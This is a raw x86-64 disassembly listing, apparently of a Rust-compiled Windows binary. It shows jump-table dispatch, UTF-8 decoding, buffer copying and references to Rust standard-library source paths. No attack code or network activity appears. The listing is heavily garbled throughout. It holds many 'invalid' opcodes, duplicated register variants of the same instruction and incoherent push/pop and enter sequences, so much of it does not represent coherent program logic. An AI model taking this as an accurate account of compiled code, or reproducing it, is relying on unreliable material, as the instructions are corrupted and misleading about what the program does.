lea rcx, [0x1401e9d23]
or eax, 0x1ad8c3
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
cmp al, byte [rdx]
add byte [rax], al
lea rcx, [0x1401e9cb2]
fcomp dword [rdx]
fcomp dword [rdx]
sbb al, byte [rax]
add cl, ch
add al, byte cs:[rax]
add byte [rax], al
lea rcx, [0x1401e9d33]
jmp case.0x14003c272.306
add byte [rax], al
lea rcx, [0x1401e9d33]
lea ecx, [0x1401e9d33]
add cl, ch
jmp case.0x14003c272.306
and al, byte [rdx]
add al, byte [rax]
add byte [rax + 0x11], bh
mov eax, 0x11
add byte [rax], al
mov eax, 0x11
lea rcx, [0x1401e9c7f]
lea ecx, [0x1401e9c7f]
not bh
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
adc dword [rdx], eax
add al, byte [rax]
add byte [rax + 0x11], bh
mov eax, 0x11
add byte [rax], al
mov eax, 0x11
lea rcx, [0x1401e9d48]
lea ecx, [0x1401e9d48]
or eax, 0x1ad8ae
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
add byte [rdx], al
add al, byte [rax]
add byte [rax + 4], bh
mov eax, 4
add byte [rax], al
mov eax, 4
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1ad7ae
scasb al, byte [rdi]
xlatb
sbb al, byte [rax]
lea rcx, [0x1401e9c59]
lea ecx, [0x1401e9c59]
scasb al, byte [rdi]
xlatb
sbb al, byte [rax]
jmp case.0x14003c272.306
out dx, eax
add dword [rax], eax
add byte [rax], al
add byte [rax + 9], bh
mov eax, 9
or dword [rax], eax
add byte [rax], al
lea rcx, [0x1401e9bfc]
lea ecx, [0x1401e9bfc]
or eax, 0x1ad740
xlatb
xlatb
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
fiadd word [rcx]
add dword [rax], eax
add byte [rax + 0x10], bh
mov eax, 0x10
add byte [rax], al
mov eax, 0x10
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9be3]
lea ecx, [0x1401e9be3]
or eax, 0x1ad716
invalid
jmp case.0x14003c272.306
int 1
add dword [rax], eax
add byte [rax], al
add byte [rax + 8], bh
mov eax, 8
or byte [rax], al
add byte [rax], al
lea rcx, [0x1401e9c51]
lea ecx, [0x1401e9c51]
or eax, 0x1ad773
xlatb
sbb al, byte [rax]
invalid
jmp case.0x14003c272.306
mov esp, 0xb8000001
or al, 0
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax + 0xc], bh
mov eax, 0xc
add byte [rax], al
mov eax, 0xc
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1ad6e8
invalid
invalid
sbb al, byte [rax]
lea rcx, [0x1401e9bd7]
lea ecx, [0x1401e9bd7]
call 0x12903dfc6
sbb al, byte [rax]
jmp case.0x14003c272.306
stosd dword [rdi], eax
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x13], bh
mov eax, 0x13
adc eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rcx, [0x1401e9c6c]
lea ecx, [0x1401e9c6c]
or eax, 0x1ad76c
xlatb
sbb al, byte [rax]
invalid
add cl, ch
jmp case.0x14003c272.306
invalid
add dword [rax], eax
add byte [rax + 0xe], bh
mov eax, 0xe
add byte [rax], al
mov eax, 0xe
add byte [rax - 0x73], cl
or eax, 0x1ad706
invalid
xlatb
sbb al, byte [rax]
lea rcx, [0x1401e9c17]
lea ecx, [0x1401e9c17]
invalid
sbb al, byte [rax]
jmp case.0x14003c272.306
mov dword [rcx], eax
add dword [rax], eax
add byte [rax + 9], bh
mov eax, 9
add byte [rax], al
mov eax, 9
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rcx, [0x1401e9bf3]
lea ecx, [0x1401e9bf3]
or eax, 0x1ad6d1
invalid
jmp case.0x14003c272.306
js 0x14003c526
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x12], bh
mov eax, 0x12
adc al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x1401e9c05]
lea rcx, [0x1401e9c05]
lea ecx, [0x1401e9c05]
rcl dh, cl
sbb al, byte [rax]
jmp case.0x14003c272.306
add dword [eax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax + 0xc], bh
mov eax, 0xc
or al, 0
add byte [rax], al
lea rcx, [0x1401e9cd9]
lea ecx, [0x1401e9cd9]
or eax, 0x1ad795
xlatb
sbb al, byte [rax]
jmp case.0x14003c272.306
push rsi
add dword [rax], eax
add byte [rax + 0x16], bh
mov eax, 0x16
add byte [rax], al
mov eax, 0x16
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x1401e9c9c]
lea rcx, [0x1401e9c9c]
lea ecx, [0x1401e9c9c]
sbb al, byte [rax]
jmp case.0x14003c272.306
add dword [r8], r8d
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x1d], bh
mov eax, 0x1d
add byte [rax], al
lea rcx, [0x1401e9c25]
lea ecx, [0x1401e9c25]
or eax, 0x1ad6bf
invalid
jmp case.0x14003c272.306
xor al, 1
add byte [rax], al
mov eax, 0xf
lea rcx, [0x1401e9c42]
add byte [rax - 0x73], cl
or eax, 0x1ad6cb
lea ecx, [0x1401e9c42]
jmp case.0x14003c272.306
and eax, dword [rcx]
add byte [rax], al
add byte [rax + 0x12], bh
mov eax, 0x12
adc al, byte [rax]
add byte [rax], al
lea rcx, [0x1401e9cc7]
lea ecx, [0x1401e9cc7]
add cl, ch
jmp case.0x14003c272.306
adc al, byte [rcx]
add byte [rax], al
mov eax, 6
lea rcx, [0x1401e9d0c]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1ad773
lea ecx, [0x1401e9d0c]
jmp case.0x14003c272.306
add dword [rcx], eax
add byte [rax], al
mov eax, 0xf
lea rcx, [0x1401e9c5d]
sldt word [rax]
add byte [rax - 0x73], cl
or eax, 0x1ad6b3
jmp case.0x14003c272.306
lock add byte [rax], al
add byte [rax + 0x1d], bh
mov eax, 0x1d
add byte [rax], al
mov eax, 0x1d
sbb eax, 0x48000000
lea ecx, [0x1401e9d78]
lea rcx, [0x1401e9d78]
jmp case.0x14003c272.306
add byte [rax], al
mov eax, 0xc
or al, 0
add byte [rax], al
lea rcx, [0x1401e9c90]
jmp case.0x14003c272.306
add byte [rax], al
add byte [rax], al
mov eax, 0x13
lea rcx, [0x1401e9ce5]
jmp case.0x14003c272.306
mov eax, 0x14
lea rcx, [0x1401e9cf8]
xlatb
sbb al, byte [rax]
xlatb
sbb al, byte [rax]
jmp case.0x14003c272.306
mov eax, 0x11
lea rcx, [0x1401e9d12]
lea ecx, [0x1401e9d12]
lea ecx, [0x1401e9d12]
sbb al, byte [rax]
jmp case.0x14003c272.306
add byte [rax + 0xa], bh
mov eax, 0xa
add byte [rax], al
lea rcx, [0x1401e9b1b]
or eax, 0x1ad50b
jmp case.0x14003c272.306
mov eax, 8
lea rcx, [0x1401e9af6]
add byte [rax - 0x73], cl
or eax, 0x1ad4d5
jmp case.0x14003c272.306
mov eax, 0x1d
lea rcx, [0x1401e9afe]
add byte [rax - 0x73], cl
or eax, 0x1ad4cf
jmp case.0x14003c272.306
mov eax, 0xc
lea rcx, [0x1401e9b41]
add byte [rax - 0x73], cl
or eax, 0x1ad504
jmp case.0x14003c272.306
mov eax, 7
lea rcx, [0x1401e9aef]
add byte [rax - 0x73], cl
or eax, 0x1ad4a4
jmp case.0x14003c272.306
mov eax, 0xd
lea rcx, [0x1401e9b25]
sbb al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0x1ad4cc
sbb al, byte [rax]
sbb al, byte [rax]
jmp case.0x14003c272.306
mov eax, 0xf
lea rcx, [0x1401e9b32]
jmp case.0x14003c272.306
retf
mov eax, 0x10
lea rcx, [0x1401e9b4d]
jmp case.0x14003c272.306
mov eax, 0x13
lea rcx, [0x1401e9ad0]
add byte [rax - 0x73], cl
or eax, 0x1ad44d
jmp case.0x14003c272.306
mov eax, 0xa
lea rcx, [0x1401e9ae3]
jmp case.0x14003c272.306
mov eax, 7
lea rcx, [0x1401e9b5d]
lea r8, [rsp + 0x28]
mov qword [r8], rcx
mov qword [r8 + 8], rax
lea rax, [rsp + 0x26]
lea rcx, [rsp + 0x38]
mov qword [rcx], rax
lea rax, [0x14002aba0]
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r8
lea rax, [fcn.1401c5992]
mov qword [rcx + 0x18], rax
lea rax, [0x1401fca78]
lea r8, [rsp + 0x58]
mov qword [r8], rax
mov eax, 2
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.140025840
nop
add rsp, 0x88
ret
add byte [rax], al
add byte [rdi + rcx + 0x45], al
sal dword [rcx], 0xc9
xor ecx, ecx
xor ecx, ecx
xor edx, edx
div r8d
div eax
mov r10d, eax
xor edx, edx
div r9d
div ecx
div ecx
mov r8d, eax
add r8d, r10d
rol byte [rbp + 1], 0xd0
mov r9d, 0x23
cmp r8d, 0x1c8
jb 0x14003ece5
mov eax, r8d
xor edx, edx
div r9d
add ecx, 0x24
mov r8d, eax
jmp case.0x14001f409.274
shr bl, 0xe7
imul eax, r8d, 0x24
imul eax, eax, 0x24
add r8d, 0x26
add eax, 0x26
xor edx, edx
div r8w
div r8d
movzx eax, ax
add ecx, eax
mov eax, ecx
enter 0xffffffffffff8348, 0xffffffffffffffc4
invalid
ret
invalid
call fcn.1401c7110
int3
xor esi, dword [rsi + 0x28]
add byte [rcx], dh
leave
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
leave
bnd call fcn.1401c66e0
jns 0x14003ed76
add ah, cl
sub esp, 0x28
in al, dx
sub byte [rax + 0x61], bh
add byte [rbx + 0x77324f9], al
and al, 0x73
invalid
add byte [rbp + rcx*4 + 5], cl
xchg ebx, eax
mov dh, 0x1a
add byte [rdx + 0xe], bh
invalid
mov r8, rdx
mov rdi, rcx
add rcx, 0x10
rcl dword [rax], 0xba
add byte cs:[rax], al
add byte [rcx - 0x77], cl
mov ecx, esi
call fcn.1401b8373
and qword [rdi], 0
and dword [rdi], 0
mov qword [rdi + 8], rsi
mov word [rdi + 0x40], 1
invalid
add dword [rax], eax
add dword [rax], eax
invalid
add byte [rax - 0x7d], cl
add rsp, 0x28
pop rdi
pop rsi
invalid
ret
push rdi
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp byte [rcx + 0x41], 0
jns case.0x140017b31.307
invalid
je 0x14003ede7
jns case.0x140017b31.307
add byte [rsp + rax + 0x31], dh
xor eax, eax
shr bl, 0x33
jmp 0x14003ee1a
mov rsi, rcx
mov r15, qword [rcx + 0x10]
adc byte [rax - 0x75], cl
imul ebx, dword [rax], 0x28698b4c
sbb byte [rbx + rcx*4 + 0x69], cl
invalid
sbb byte [rbx + rcx*4 + 0x69], cl
sub byte [rcx + 0x39], cl
invalid
invalid
cmp r13, rbp
in eax, dx
jbe case.0x14002e5c3.181
mov byte [rsi + 0x41], 1
mov rcx, qword [rsi]
invalid
mov r14, qword [rsi + 8]
add r15, rcx
invalid
xor eax, eax
sub r14, rcx
cmovne rax, r15
cmp byte [rsi + 0x40], 0
cmovne rax, r15
mov rdx, r14
add rsp, 0x28
add rsp, 0x28
add esp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea rbx, [rsi + 0x30]
movzx edi, byte [rsi + 0x38]
mov r12, qword [rsi + 0x20]
lea rdx, [r15 + r12]
mov r8, r13
mov rax, rdx
mov eax, edx
mov eax, edx
sub r8, r12
mov ecx, 0
loopne case.0x1400115e7.315
add byte [rax], al
add byte [rax], al
cmovb rax, rcx
jb 0x14003edfb
sal dword [rdx - 0x57], 0x8a
cmp r15, rdi
invalid
mov cl, byte [rbx + rdi - 1]
dec dword [rcx - 0x7d]
clc
emms
adc dword [rcx], esi
invalid
cmp r8, 0xf
ja 0x14003ee6d
xor edx, edx
ror byte [rcx + 0x39], cl
sal byte [rcx + rdx + 0x38], 1
adc dword [rax], edi
cmp r8, rdx
je 0x14003ee74
invalid
adc dword [rax], edi
cmp byte [rax + rdx], cl
or al, 0x10
je 0x14003ee78
inc rdx
inc edx
jmp case.0x14002efaa.169
int1
call fcn.14002c810
sahf
fsin
invalid
jmp 0x14003ee7d
xor eax, eax
jmp 0x14003ee80
mov eax, 1
add byte [rcx - 0x77], cl
ror byte [rax - 0x7d], 1
mov r8, rdx
mov eax, edx
cmp rax, 1
jne 0x14003eebb
invalid
clc
add dword [rbp + 0x35], esi
invalid
xor eax, 0x49c4014d
inc esp
add r12, r8
inc r12
mov qword [rsi + 0x20], r12
mov dword [rsi + 0x20], esp
and byte [rbp - 0x77], cl
out 0x49, al
sub esi, edi
invalid
mov r14, r12
sub r14, rdi
invalid
invalid
jb 0x14003ee3a
cmp r12, rbp
ja 0x14003ee3a
cmp dil, 5
cmp bh, 5
add eax, 0x8d4b3973
jae case.0x14003c171.142
lea rcx, [r15 + r14]
or al, 0x37
mov rdx, rdi
cli
mov r8, rbx
mov r9, rdi
mov ecx, edi
mov ecx, edi
call fcn.14005a06a
mov ch, 0xb1
add dword [rax], eax
mov cl, 1
add byte [rax + rax*8 + 0xdeb8174], al
test al, al
je 0x14003ee3a
jmp 0x14003eec8
test al, al
je 0x14003ee3a
sal byte [rcx + rax*4 - 0x15], 0xd
jmp 0x14003eec8
mov qword [rsi + 0x20], r13
mov dword [rsi + 0x20], ebp
and byte [rax - 0x7b], cl
test rax, rax
je 0x14003edfb
invalid
invalid
invalid
ror byte [rdi], 0x84
xor edi, edi
invalid
invalid
invalid
mov rax, qword [rsi]
sub r14, rax
add r15, rax
mov qword [rsi], r12
mov dword [rsi], esp
mov rax, r15
mov eax, edi
clc
jmp 0x14003ee1a
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_strpattern.rsErrorNoneSome
add eax, 0x24ac95
and al, 0
add byte [rdx + 4], bh
mov edx, 4
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax], al
mov rcx, rdi
call fcn.1401c6f20
xor byte [rax + 0x48cc0018], al
mov eax, edx
sbb byte [rax], al
int3
mov edx, ecx
ror dword [rcx - 0x77], 0xc0
std
invalid
dec dword [rbx + rcx*4 + 0x49]
or byte [rcx + rdi + 9], cl
je 0x14003ef1d
lea rax, [r9 - 1]
lea eax, [rcx - 1]
dec dword [rax - 0x77]
mov qword [rcx + 8], rax
movzx eax, byte [r9 - 1]
test al, al
js 0x14003ef23
or byte [r9 + 0xf], al
mov dh, 0x41
inc dword [rax + rax*8 - 0x473cf888]
ret
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add bl, al
ret
lea rdx, [r9 - 2]
mov qword [rcx + 8], rdx
movzx edx, byte [r9 - 2]
push rcx
inc byte [rax + 0x2f7dc0fa]
push rcx
dec byte [rax - 0x77]
push rcx
or byte [rcx + 0xf], al
mov dh, 0x51
push rcx
push rcx
inc byte [rax + 0x2f7dc0fa]
lea r8, [r9 - 3]
mov qword [rcx + 8], r8
movzx r8d, byte [r9 - 3]
movzx eax, byte [rcx - 3]
movzx eax, byte [rcx - 3]
cmp r8b, 0xc0
jge 0x14003ef69
sar byte [rbp + 0x21], 0x4d
lea edx, [rcx - 4]
lea r10, [r9 - 4]
mov qword [rcx + 8], r10
movzx ecx, byte [r9 - 4]
movzx ecx, byte [rcx - 4]
push rcx
or byte [rcx + 0xf], al
movzx ecx, byte [rcx - 4]
movzx ecx, byte [rcx - 4]
and ecx, 7
shl ecx, 6
and r8d, 0x3f
loopne 0x14003ef9e
invalid
invalid
or r8d, ecx
jmp 0x14003ef6d
and edx, 0x1f
jmp 0x14003ef77
invalid
and r8d, 0xf
and eax, 0xf
shl r8d, 6
shl eax, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and eax, 0x3f
or eax, edx
rol bl, 1
push rdi
push rbx
sub rsp, 0x30
add rdx, rcx
lea rsi, [rsp + 0x20]
mov qword [rsi], rcx
mov qword [rsi + 8], rdx
mov ebx, 0x20003
mov rcx, rsi
call fcn.140137f6d
mov edi, eax
cmp eax, 0x110000
add byte [rcx + 0x3dc7], cl
add byte [rax], al
adc dword [rax], eax
je 0x14003efc7
lea eax, [rdi - 0x21]
cmp eax, 0x5e
clc
pop rsi
jb 0x14003ef9b
mov ecx, edi
call fcn.1401b77bb
invalid
add byte [rcx + rdx], bh
invalid
add byte [rcx + rdx], bh
ja 0x14003ef9b
fmul qword [rdi]
mov dh, 0xc0
invalid
movzx eax, al
ror byte [rdi], 0xa3
ret
bt ebx, eax
jae 0x14003ef9b
cmp edi, 0x110000
inc dword [rax]
add byte [rcx], dl
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
add esp, 0x30
pop rbx
pop rdi
setne al
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
ret
add dword [rdx], ecx
or al, byte [rcx + 2]
or al, byte [rcx + 3]
add ecx, dword [r10]
invalid
invalid
add cl, byte [r10]
add ecx, dword [r10]
add al, 0xa
add eax, 0xa06410a
or al, byte [rcx + 6]
invalid
invalid
or al, byte [rcx + 5]
or al, byte [rcx + 6]
or al, byte [rcx + 7]
or al, byte [rcx + 8]
or byte [rdx], cl
invalid
invalid
invalid
or byte [rdx], cl
or dword [r10], ecx
or al, byte [rcx + 0xa]
invalid
or al, byte [rcx + 0xa]
or al, byte [rcx + 0xb]
or ecx, dword [r15]
xchg ebp, eax
invalid
or ecx, dword [r15]
xchg ebp, eax
rol bl, 0x41
ret
push r15
ret
push r14
push rsi
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
in al, dx
cmp byte [rcx + rcx*4 - 0x32], cl
in al, dx
cmp byte [rcx + rcx*4 - 0x32], cl
mov esi, ecx
mov rdi, r8
invalid
mov r14, rdx
mov rbx, rcx
lea r15, [rcx + rdx]
cmp al, 0x11
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
mov qword [rcx], rbx
mov dword [rcx], ebx
sbb dword [rcx + rcx*4 + 0x79], ecx
mov qword [rcx + 8], r15
or al, ch
invalid
call fcn.140137f6d
invalid
cmp eax, 0x110000
add byte [rcx], dl
add byte [rdi], cl
invalid
je 0x14003f114
test ch, bl
add byte [rax], al
add byte [rcx - 0x776b73b], cl
mov ebp, eax
mov rax, rdi
mov eax, edi
shr rax, 0x18
test al, al
je 0x14003f077
call 0x1b4c4745b
xor ecx, dword [rax - 0x77]
mov rcx, rbx
mov ecx, ebx
invalid
mov rdx, r14
mov r8d, 0x2d
add byte [rax], al
call fcn.14003cd57
test al, al
jne 0x14003f06e
mov rcx, rbx
mov rdx, r14
mov edx, esi
mov r8d, 0x2d
sub eax, 0xe8000000
cmp ebx, ebp
invalid
call fcn.14003cda5
test al, al
je 0x14003f077
mov byte [rsi + 1], 1
jmp 0x14003f114
add byte [rax], al
invalid
imul eax, ebp, 0x9e3779b9
imul ecx, ebp, 0x31415926
int 0x26
pop rcx
xor dword [r9], esi
invalid
mov ecx, 0x699e3779
int 0x26
pop rcx
xor dword [r9], esi
xor dword [rcx], esi
enter 0x6948, 0xffffffffffffffc0
xchg edx, eax
imul rax, rax, 0x992
or dword [rax], eax
add byte [rax - 0x3f], cl
shr rax, 0x20
lea rdx, [0x140284d90]
lea edx, [0x140284d90]
shr rax, 0x20
lea rdx, [0x140284d90]
lea edx, [0x140284d90]
lea edx, [0x140284d90]
adc eax, 0x245cf9
movzx eax, word [rdx + rax*2]
add eax, ebp
invalid
call 0x1b9bdb10a
invalid
imul eax, eax, 0x9e3779b9
xor eax, ecx
sar byte [rcx + 0x319e3779], 0xc8
imul rax, rax, 0x992
or dword [rax], eax
add byte [rax - 0x3f], cl
shr rax, 0x20
lea rcx, [0x1402860b4]
outsd dx, dword [rsi]
and al, 0
call 0x14d9138d3
std
outsd dx, dword [rsi]
and al, 0
cmp dword [rcx + rax*4], ebp
jne 0x14003f0c2
mov byte [rsi + 3], 1
add r8d, dword [rcx]
jmp 0x14003f114
mov ebp, edi
shr ebp, 8
lea r14, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [r14], rbx
mov qword [r14 + 8], r15
or byte [rax - 0x73], cl
sbb eax, 0x24c8de
fmulp st(0)
and al, 0
or byte [rax - 0x73], cl
sbb eax, 0x24c8de
fmulp st(0)
and al, 0
fmulp st(0)
and al, 0
mov rcx, r14
call fcn.140137f6d
mov ecx, dword [rsi + 0x3d000f]
add byte [rcx], dl
invalid
mov ecx, dword [rsi + 0x3d000f]
add byte [rcx], dl
add byte [rbx + rbp - 0x77], dh
shr eax, 0x71
stc
invalid
invalid
add byte [0x14014f0e7], bh
je 0x14003f114
mov ecx, eax
call fcn.14003ea61
movzx eax, byte [rax]
cmp rax, 7
ja case.0x14003f100.1
invalid
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
xor eax, eax
jmp 0x14003f10c
mov eax, edi
jmp 0x14003f10c
mov eax, ebp
test al, al
je case.0x14003c2b6.15
mov byte [rsi + 4], 1
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
add dword [rbp + rcx*4 + 0x40], eax
jmp 0x14003f193
xor edx, edx
cmp r8w, 5
cmp r8d, 5
cmovb edx, r9d
test dx, dx
je 0x14003f181
movzx eax, dx
cmp eax, 1
je case.0x140045009.101
cmp eax, 2
jne case.0x14003f197.16
push rsi
add rcx, 8
jmp fcn.14001ca7a
fscale
invalid
or cl, ch
add bl, cl
fscale
fscale
dec dword [rax - 0x7d]
ror dword [rax], 0xe9
jmp fcn.14003f1c6
add eax, 0xfffffff4
cmp eax, 7
add rcx, 8
jmp fcn.14003f1c6
add eax, 0xfffffff4
cmp eax, 7
ja case.0x14003f197.16
lea rdx, [0x14028b9d8]
lea edx, [0x14028b9d8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
invalid
add rcx, 8
jmp case.0x1401b67ec.58
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rcx, rax
invalid
jmp fcn.14006095a
mov rax, qword [rcx + 8]
lock dec qword [rax]
or al, dh
dec qword [rax]
jne case.0x14003f197.16
add rcx, 8
jmp 0x1401b648a
ret
btc r8, 0x3f
cmp r8, 0xf
cmp eax, 0xf
cmp eax, 0xf
mov edx, 3
cmovb rdx, r8
ror byte [rax - 0x7d], 1
cli
invalid
je 0x14003f212
cmp rdx, 3
je 0x14003f20c
cmp rdx, 8
jne 0x14003f20b
mov r8, qword [rcx + 8]
test r8, r8
je 0x14003f20b
shl r8, 2
mov rcx, qword [rcx + 0x10]
mov edx, 2
jmp fcn.140004b0a
ret
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
jmp 0x14003f21a
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
or byte [r8 - 0x75], cl
push rcx
adc byte [rax - 0x77], cl
shr ecx, 0x38
invalid
cmp byte [rdi], dl
mov rcx, rax
jmp fcn.14006095a
cmp eax, 4
mov edx, 2
cmovb rdx, r8
cmp rdx, 1
invalid
ror byte [rax - 0x7d], 1
cli
add dword [rdi + rax + 0x48], esi
cmp edx, 2
je 0x14003f247
cmp rdx, 2
je 0x14003f24f
ret
mov rax, qword [rcx + 8]
add rcx, 8
invalid
invalid
ror dword [rax], 0x48
mov edx, dword [rcx + 8]
mov rdx, qword [rcx + 8]
mov rcx, rax
mov ecx, eax
jmp fcn.14006095a
enter 0xffffffffffff8b48, 9
mov rcx, qword [rcx]
mov rdx, rcx
btc rdx, 0x3f
cmp rdx, 3
ja 0x14003f276
invalid
cmp rdx, 2
je 0x14003f276
ret
mov rdx, qword [rax + 8]
jmp fcn.14006095a
add al, byte [rax]
add al, byte [rax]
add byte [rsi + 0x57], dl
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov rcx, rdx
mov rdx, rsi
call fcn.14003f2ae
bnd call fcn.14003f2ae
test rax, rax
je case.0x14003c2b6.29
add rsp, 0x28
pop rdi
pop rsi
sub byte [rdi + 0x5e], bl
ret
mov rcx, rdi
stc
mov rdx, rsi
call fcn.1401c6700
int3
and byte [rsi - 0x3d], bl
pop rsi
ret
lea rcx, [0x14028b9f8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsi + 8], rdx
mov dword [rsi + 8], edx
mov al, 2
jmp 0x14003f31b
shr rdx, 0x20
mov dword [rsi + 4], edx
xor eax, eax
jmp 0x14003f31b
shr rdx, 0x20
mov ecx, edx
call fcn.140006d19
mov byte [rsi + 1], al
mov al, 1
jmp 0x14003f31b
dec rdx
mov qword [rsi + 8], rdx
mov al, 3
mov byte [rsi], al
add rsp, 0x20
pop rsi
ret
dec dword [rax - 0x77]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x1baf2b
add byte [rcx - 0x48], al
or eax, dword [rax]
add byte [rax], al
jmp rax
sub esp, 0x28
mov rsi, r8
mov rdi, rcx
mov rcx, qword [rcx]
mov rbx, qword [rdi + 8]
mov ebx, dword [rdi + 8]
cmp r8, rbx
cmovae rsi, rbx
mov qword [rdi], 1
and qword [rdi + 8], 0
or byte [eax], al
or byte [eax], al
mov r8, rdx
lea r14, [rcx + rsi]
sub rbx, rsi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srcioimpls.rs
invalid
stosd dword [rdi], eax
sbb eax, dword [rax]
ror byte [rbp + rcx*4 + 0x34], 1
xor dword [rax + 0x29], ecx
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srcioimpls.rs
invalid
stosd dword [rdi], eax
sbb eax, dword [rax]
lea eax, [0x1401f9ec8]
add byte [rbx - 0x76b7ffe5], ch
and al, 0x20
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov r9, rsi
call fcn.1401c59a4
int3
sbb byte gs:[rax], al
mov qword [rdi], r14
invalid
mov qword [rdi + 8], rbx
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
int3
invalid
pop r14
ret
lea esi, [rsp + 0x28]
sub byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, r8
xor r8d, r8d
call fcn.1401c24b1
cmp qword [r14], 0
mov r14, qword [r14 + 8]
jne 0x14003f447
mov r15, qword [rsp + 0x38]
mov rcx, r15
stc
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
jno 0x14003f447
add byte [rcx + rcx*4 + 0x37], cl
mov qword [rdi + 8], r15
mov dword [rdi + 8], edi
mov qword [rdi + 0x10], rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdx, qword [rsp + 0x38]
mov rcx, r14
call fcn.1401c66e0
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, r8
mov esi, eax
mov rdi, qword [rcx]
mov rax, qword [rdi]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, r8
jbe 0x14003f4fc
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
mov rdx, rsi
mov edx, esi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rcx, rdi
mov r8, rsi
invalid
call fcn.1401c7cfe
mov rsi, rdx
jmp case.0x140013145.316
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x140], 0xfffffffffffffffe
mov rdi, r9
mov r14, r8
mov rsi, qword [rbp + 0x1b0]
mov eax, ecx
lea rcx, [0x14028ba08]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
mov rcx, r14
mov rdx, rdi
mov r8, rsi
mov eax, esi
mov eax, esi
add rsp, 0x1c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp 0x14003f4bd
lea rcx, [rbp + 0x70]
call fcn.1400355bb
lea rcx, [rbp + 0x18]
mov edx, 0x8000
call fcn.1401481de
lea rbx, [rbp + 0xc8]
mov qword [rbx + 0x18], r14
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbx], xmm0
mov rax, qword [rbp + 0x80]
mov qword [rbx + 0x10], rax
lea r14, [rbp + 0x20]
movups xmm0, xmmword [r14 - 8]
movaps xmmword [rbx - 0x18], xmm0
mov rax, qword [r14 + 8]
mov qword [rbx - 8], rax
lea r15, [rbp + 0xb0]
lea r12, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
test rsi, rsi
je 0x14003fd52
mov rcx, r15
call fcn.14004039d
add byte [rcx - 0x77], cl
invalid
test rax, rax
jne 0x14003f652
add byte [rcx - 0x77], cl
invalid
mov r13, qword [rbp + 0xd0]
mov byte [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
mov r9, r15
call fcn.1400359b6
mov rcx, rax
shr rcx, 0x20
mov rdx, qword [rbp + 0xd0]
mov eax, eax
cmp rdx, r13
jne 0x14003f630
cmp rax, 2
sete dl
